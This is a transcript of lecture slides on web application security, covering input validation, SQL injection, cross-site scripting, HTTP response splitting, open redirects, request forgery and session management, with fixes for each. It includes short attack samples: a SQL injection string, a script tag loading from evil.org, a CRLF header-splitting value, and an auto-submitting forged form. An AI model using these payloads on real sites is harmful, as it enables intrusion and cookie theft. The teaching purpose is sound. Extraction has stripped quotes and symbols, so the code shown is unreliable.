Web Applications - PowerPoint PPT Presentation

About This Presentation
Title:

Web Applications

Description:

Chapter 9 Web Applications – PowerPoint PPT presentation

Number of Views:51
Avg rating:3.0/5.0
Slides: 34
Provided by: IBMU88
Learn more at: https://www.cs.kent.edu
Category:

less

Transcript and Presenter's Notes

Title: Web Applications


1
Chapter 9
  • Web Applications

2
Web Applications
  • Web Applications are public and available to the
    entire world.
  • Easy access to the application means also easy
    access for malicious users.
  • HTTP protocol was not designed for applications.
  • Stateless protocol
  • Session management creates many security problems
  • Application needs to protect itself as well as
    other users of the applications.

3
In this chapter
  • Input and output validation
  • HTTP Considerations
  • Use of POST to keep sensitive information from
    logs and caches.
  • Maintaining Sessions
  • Using Structs framework for input validation

4
Input and Output Validation
  • A web application cannot depend on the client to
    do input validation. Attackers are not going to
    use such clients.
  • An attacker can change any value in the web
    request cookies, user-agent, hidden parameters.
  • An attacker can post to a URL in the wrong order.

5
Example
  • String userAgent request.getHeader(user-agent)
  • String sQuery DELETE FROM UP_USER_UA_MAP WHERE
    USER_ID userId AND USER_AGENT
    userAgent
  • stmt.executeUpdate(sQuery)
  • (Try with userAgent 'OR 11)

6
Do not trust the client
  • Cant trust any information supplied by the
    client to be correct including any headers,
    hidden fields, cookies or parameters.
  • Cant trust that the data is properly formatted
  • Cant trust that the data contains only certain
    characters
  • Cant trust that any data elements are of certain
    length.

7
(No Transcript)
8
(No Transcript)
9
(No Transcript)
10
Assume the browser is an open book
  • Dont send data to the browser that you dont
    want the user to see.
  • There is no such thing as secret hidden fields.
  • Example E-trade
  • Etrade used a weak masking algorithm to hide the
    username/password in a cookie.

11
Example
  • A pre-school website needed to only allow parents
    to access a secure part of the website.
  • The authentication used a JavaScript to ask the
    user to enter a password
  • Parents received the password via paper.

12
Protect Your Clients
  • Web applications must not send input to a user
    without checking it first.
  • This problem is known as cross-site scripting
    (XSS)?
  • XSS is one of the most common security problems
    on the web.

13
(No Transcript)
14
Example
  • ltc if testparam.sayHellogt
  • lt! Lets welcome the user param.name --gt
  • Hello param.name!
  • lt/c ifgt
  • Hello Walter
  • Hello ltscript srchttp//evil.org/evil.jsgtlt/script
    gt!

15
XSS attack
  • Attacker creates a malicious URL and uses an
    inviting e-mail message or some other social
    engineering trick to get a victim to visit the
    URL
  • User clicks on the link and it goes to a
    legitimate site with XSS problem
  • The application in the legitimate site reflects
    the data back to the user browser and the browser
    executes the script and may send information like
    cookies and other data stored in the browser to
    the attacker.

16
XSS attack
  • XSS is not limited to data reflected back to the
    browser by the same application
  • Sometimes the data gets stored in a database and
    several users can get impacted
  • Sometimes one application may store the bad data
    and another sends it to the users.
  • All applications that send data to the user
    should check it for validity.

17
MySpace
  • A user was able to post a script on his profiles
    that was sent to everybody who looked at the
    profiles
  • The script executed and add him as a friend to
    the victim
  • As a friend he was able to see data he could not
    see before.

18
Preventing XSS
  • Perform output validation or output encoding
  • Output encoding changes the output such that it
    does not get interpreted by the browser
  • Use whitelist not blacklist
  • Example a last name can only contain certain
    characters
  • Encode special characters
  • JSTL ltcoutgt tag by default escapes gt,lt, ,
  • Java.net.URLEncoder object transforms any
    character outside the whilelist into their
    hexadecimal form.

19
Fixing XSS
  • ltc if testparam.sayHellogt
  • lt! Lets welcome the user param.name --gt
  • lt
  • String name request.getParameter(name)
  • if (!ID_REGEX.matcher(name).matches())
  • throw new ValidationException(invalid name)
  • gt
  • Hello param.name!
  • lt/c ifgt

20
HTTP Response Splitting
  • Can be accomplished when the application allows
    user input in response headers and allows the
    input to contain CR-LF
  • An attacker can then change any header or content
    as they wish
  • It may confuse a proxy and the second response
    may get sent to another user.

21
Example
  • String author request.getParameter(author)
  • Cookie cookie new Cookie(author, author)
  • cookie.setMaxAge(cookieExpiration)
  • Response.addCookie(cookie)?
  • If author is
  • Wiley Hacker\r\n\r\nHTTP/1.1 200 OK\r\n
  • Then the client sees 2 responses.

22
Open Redirect
  • Open redirect means an application will issue a
    redirect to a site based on user input
  • Open redirects can be used by phishing attacks to
    send a valid looking URL via email
  • Valid looking URLs in phishing email makes it
    harder to detect filters and security software

23
Example of open Redirect
  • String nextPage request.getParameter(next)
  • If (nextPage.matches(a-zA-Z0-9/?_\\
  • response.sendRedirect(nextPage)

24
Open Proxy
  • Like open redirect, open proxy can be used by
    phishing schemes
  • Open proxy can also be used to steal cookies
    (session cookies) and other information
  • Open proxy can happen when an application fetches
    information from another website to display for
    the user.

25
Use POST not GET
  • GET requests expose the parameters in the URL
  • URLs get
  • Stored in browser history
  • Logged to the web server logs
  • Sent to other sites are referer header
  • POST requests are more secure.
  • To protect the data applications should return an
    error when called with GET

26
Request Ordering
  • HTTP protocol is stateless
  • Applications should never assume the user will go
    through all the steps in order
  • Applications that pass hidden fields from one
    request to the next are vulnerable to this type
    of attack

27
Error handling
  • Errors can reveal information about the internals
    of the system if displayed to the end user
  • Applications should catch all errors/exceptions
    and print a friendly message to the user.

28
Request Provenance
  • ltform methodPOST action/new_usergt
  • Name of new user ltinput typetext
    nameusernamegt
  • Password for new user ltinput typepassword
    nameuser_passwordgt
  • ltinput typesubmit nameaction valueCreate
    Usergt
  • lt/formgt

29
Request Provenance
  • ltform methodPOST actionhttps//www.example.com
    /new_usergt
  • Name of new user ltinput typetext
    nameusernamegt
  • Password for new user ltinput typepassword
    nameuser_passwordgt
  • ltinput typesubmit nameaction valueCreate
    Usergt
  • lt/formgt
  • ltscriptgt
  • document.usr_form.submit()
  • lt/scriptgt

30
Request Provenance
  • ltform methodPOST action/new_usergt
  • Name of new user ltinput typetext
    nameusernamegt
  • Password for new user ltinput typepassword
    nameuser_passwordgt
  • ltinput typesubmit nameaction valueCreate
    Usergt
  • ltinput typehidden namereq_id
    value87ae34d92ba7a1
  • lt/formgt

31
Maintaining Session State
  • Web applications need a session to maintain state
    using the HTTP stateless protocol
  • Session identifiers can be passed either as a
    parameter, part of the URL or in cookies
  • Most application contents provide session
    management via cookies.
  • Programmers should utilize web application
    containers to manage sessions
  • A good session management chooses session
    identifiers that cannot be guessed.

32
Session Timeouts
  • A session timeout is necessary to protect against
    session hijacking
  • Idle timeout reduces the possibility of somebody
    taking over an idle session
  • A max session life makes it impossible for an
    attacker to keep a session live forever.
  • Servlet specification does not mandate a max
    session life. It can be implemented using Servlet
    filters.

33
Session managment
  • Begin a new session after authentication
  • Attacker creates a session in a public terminal
    and waits for the user to login
  • Do not accept session identifier supplied as a
    parameter
  • Example http//www.example.com/index.jsp?jsessioni
    dabc123
  • If session id is using cookies enforce set the
    cookie to secure only.
  • Do not set the cookie domain to the top-level
Write a Comment
User Comments (0)
About PowerShow.com